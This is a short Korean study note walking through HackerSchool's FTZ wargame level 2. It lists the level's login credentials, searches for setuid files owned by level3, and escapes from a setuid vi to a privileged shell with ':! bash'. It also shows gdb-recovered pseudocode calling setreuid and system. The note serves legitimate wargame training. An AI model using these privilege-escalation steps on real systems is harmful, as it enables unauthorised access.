Level 2 → Level 3

www.hackerschool.org 를 바탕으로 공부한다.

level2 사용자로 로그인

ID : level2

Pass : hacker or cracker

$ ls -l

$ cat hint

$ find / -user level3 -perm -4000 2>/dev/null

$ ls -l /usr/bin/editor

$ which vi

$ ls -l /bin/vi

$ ls -l /usr/bin/vim

$ /usr/bin/editor

:! bash

$ my-pass

$ exit

:q!

○ 리버싱을 통한 의사코드 복원

$ gdb /usr/bin/editor

(gdb) disas main

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
 
int main()
{
    setreuid(3003, 3003);
    system("/bin/vi");
}

[참고][클릭]setreuid 함수에 대해서(Real UID / Effective UID)